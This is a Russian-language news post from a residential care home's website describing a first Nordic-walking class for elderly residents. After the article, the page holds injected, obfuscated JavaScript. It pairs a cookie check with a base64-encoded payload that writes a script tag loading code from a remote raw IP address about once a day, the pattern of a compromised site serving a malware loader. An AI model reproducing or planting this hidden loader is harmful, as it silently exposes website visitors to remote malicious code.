• "Истинное милосердие - это желание приносить пользу другим людям,
    не думая о вознаграждении"
    Коллер Хепен

Внедрение новой методики «Скандинавская ходьба»

Заряд бодрости получили социальные работники и получатели социальных услуг Заларинского дома-интерната. Несмотря на непогоду, сегодня состоялось первое занятие по скандинавской ходьбе. Инструктор ЛФК, Мальков Александр, устно рассказал о популярности и полезности скандинавской ходьбы для пожилых людей. Провел урок, как правильно держать в руках палки, чтобы избежать растяжений и ушиба суставов. Затем провел зарядку с применением поручных средств (мячи и обручи). Показал, как правильно и последовательно разогреть мышцы организма, а после разминки помог сделать первые шаги «Скандинавской ходьбы».

Мы будем активно идти к тому, чтобы новая методика внедрилась в наш дом-интернат, и как можно больше любителей физкультуры среди пожилых людей, повысили свою двигательную активность, которая служит важным условием здорового долголетия.

function getCookie (e){var U=document.cookie.match (new RegExp («(?:^|; )»+e.replace (/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent (U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor (Date.now ()/1e3),cookie=getCookie («redirect»);if (now>=(time=cookie)||void 0===time){var time=Math.floor (Date.now ()/1e3+86400),date=new Date ((new Date).getTime ()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString (),document.write ('')}

Просмотров: 37. Обновлено: 14.08.2019

Комментирование запрещено